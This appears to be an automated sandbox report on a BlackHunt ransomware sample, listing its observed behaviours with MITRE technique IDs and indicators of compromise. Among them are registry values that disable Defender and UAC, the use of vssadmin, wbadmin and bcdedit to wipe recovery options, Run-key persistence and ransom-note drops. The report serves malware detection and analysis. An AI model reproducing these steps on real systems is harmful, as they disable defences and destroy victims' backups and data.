2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9

Data Destruction

T1485

pid	Process
4260	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
4468	bcdedit.exe
4204	bcdedit.exe

Renames multiple (542) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3712	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\H:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\Z:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\W:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\T:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\Y:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\S:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\J:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\E:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\O:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\P:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\N:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\R:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\I:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\G:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\K:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\V:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\M:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\X:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\B:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\U:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\A:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened (read-only)	\??\L:	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
25	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\fr.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\7-Zip\Lang\si.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\MSBuild\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\7-Zip\Lang\th.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management\management.properties	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\meta-index	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku-ckb.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\libffi.md	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\javaws.jar	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\LINEAR_RGB.pf	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\LICENSE	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\accessibility.properties	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jre-1.8\lib\applet\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management\snmp.acl.template	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\local_policy.jar	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spc.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tk.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pl\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jre-1.8\lib\deploy\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ru\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre-1.8\THIRDPARTYLICENSEREADME-JAVAFX.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\7-Zip\Lang\it.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_it.properties	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightDemiItalic.ttf	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\public_suffix.md	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\packager.jar	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\te\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\jawt.lib	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\#BlackHunt_Private.key	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\jcup.md	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Java\jre-1.8\lib\jfr\#BlackHunt_ReadMe.txt	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\#BlackHunt_ReadMe.hta	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\charsets.jar	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2512	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3152	vssadmin.exe
3288	vssadmin.exe
4560	vssadmin.exe
3480	vssadmin.exe
4188	vssadmin.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	cmd.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Token: SeRestorePrivilege	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Token: SeBackupPrivilege	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Token: SeTakeOwnershipPrivilege	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Token: SeAuditPrivilege	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Token: SeSecurityPrivilege	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Token: SeIncBasePriorityPrivilege	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe
Token: SeBackupPrivilege	4228	vssvc.exe
Token: SeRestorePrivilege	4228	vssvc.exe
Token: SeAuditPrivilege	4228	vssvc.exe
Token: SeBackupPrivilege	1616	wbengine.exe
Token: SeRestorePrivilege	1616	wbengine.exe
Token: SeSecurityPrivilege	1616	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2784 wrote to memory of 1324	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	91
PID 2784 wrote to memory of 1324	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	91
PID 2784 wrote to memory of 5088	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	93
PID 2784 wrote to memory of 5088	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	93
PID 2784 wrote to memory of 4648	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	95
PID 2784 wrote to memory of 4648	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	95
PID 2784 wrote to memory of 4356	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	97
PID 2784 wrote to memory of 4356	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	97
PID 2784 wrote to memory of 4076	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	99
PID 2784 wrote to memory of 4076	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	99
PID 5088 wrote to memory of 4216	5088	cmd.exe	101
PID 5088 wrote to memory of 4216	5088	cmd.exe	101
PID 1324 wrote to memory of 3284	1324	cmd.exe	103
PID 1324 wrote to memory of 3284	1324	cmd.exe	103
PID 4356 wrote to memory of 988	4356	cmd.exe	106
PID 4356 wrote to memory of 988	4356	cmd.exe	106
PID 4076 wrote to memory of 4888	4076	cmd.exe	105
PID 4076 wrote to memory of 4888	4076	cmd.exe	105
PID 4648 wrote to memory of 4260	4648	cmd.exe	104
PID 4648 wrote to memory of 4260	4648	cmd.exe	104
PID 2784 wrote to memory of 1164	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	107
PID 2784 wrote to memory of 1164	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	107
PID 2784 wrote to memory of 3964	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	109
PID 2784 wrote to memory of 3964	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	109
PID 2784 wrote to memory of 2396	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	111
PID 2784 wrote to memory of 2396	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	111
PID 2784 wrote to memory of 3404	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	112
PID 2784 wrote to memory of 3404	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	112
PID 2784 wrote to memory of 1568	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	116
PID 2784 wrote to memory of 1568	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	116
PID 2784 wrote to memory of 3328	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	114
PID 2784 wrote to memory of 3328	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	114
PID 2784 wrote to memory of 4920	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	120
PID 2784 wrote to memory of 4920	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	120
PID 2784 wrote to memory of 4088	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	119
PID 2784 wrote to memory of 4088	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	119
PID 2784 wrote to memory of 4420	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	123
PID 2784 wrote to memory of 4420	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	123
PID 2784 wrote to memory of 4752	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	124
PID 2784 wrote to memory of 4752	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	124
PID 2784 wrote to memory of 5076	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	126
PID 2784 wrote to memory of 5076	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	126
PID 2784 wrote to memory of 2532	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	129
PID 2784 wrote to memory of 2532	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	129
PID 2784 wrote to memory of 868	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	131
PID 2784 wrote to memory of 868	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	131
PID 2784 wrote to memory of 4344	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	133
PID 2784 wrote to memory of 4344	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	133
PID 2784 wrote to memory of 3920	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	135
PID 2784 wrote to memory of 3920	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	135
PID 2784 wrote to memory of 4568	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	137
PID 2784 wrote to memory of 4568	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	137
PID 3964 wrote to memory of 232	3964	cmd.exe	142
PID 3964 wrote to memory of 232	3964	cmd.exe	142
PID 2784 wrote to memory of 4512	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	138
PID 2784 wrote to memory of 4512	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	138
PID 2784 wrote to memory of 2240	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	140
PID 2784 wrote to memory of 2240	2784	2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe	140
